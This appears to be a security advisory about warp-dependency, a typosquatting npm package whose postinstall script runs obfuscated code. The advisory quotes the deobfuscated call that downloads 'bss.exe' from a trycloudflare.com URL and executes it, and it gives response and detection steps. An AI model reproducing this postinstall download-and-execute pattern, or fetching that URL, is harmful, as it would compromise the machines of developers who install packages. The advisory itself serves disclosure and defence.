warp-dependencynpm
Advisory published Updated
warp-dependency is a confirmed malicious npm package (MAL-2026-5724) that typosquats a legitimate package to trick installs (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in warp-dependency (npm)
What this malware does
[email protected] declares postinstall: node index.js in package.json. The index.js entry point is heavily obfuscated using obfuscator.io-style string-array rotation (_0x345c/_0x1de1) that hides the download URL, target filename, and the require targets (fs-extra, node-fetch, child_process). When deobfuscated, the top-level code performs downloadFile('https://recorder-our-betting-chair.trycloudflare.com/page', 'bss.exe') followed by child_process.exec('bss.exe',...), writing and running an opaque Windows executable next to the package on every install. trycloudflare.com is an anonymous ephemeral tunneling service commonly used as throwaway dropper infrastructure; the URL is unpinned and the binary is unsigned, unhashed, and unrelated to the package's stated 'Mac UI for Windows Toolkit' purpose. The package name also typosquats the legitimate 'warp' brand. Every npm install warp-dependency silently runs attacker-controlled native code on the installer's machine.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for warp-dependency (2 malicious versions).
If you installed it — respond
warp-dependency is a typosquat — you almost certainly intended a legitimately-named package. Remove warp-dependency, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If warp-dependency was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks warp-dependency-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.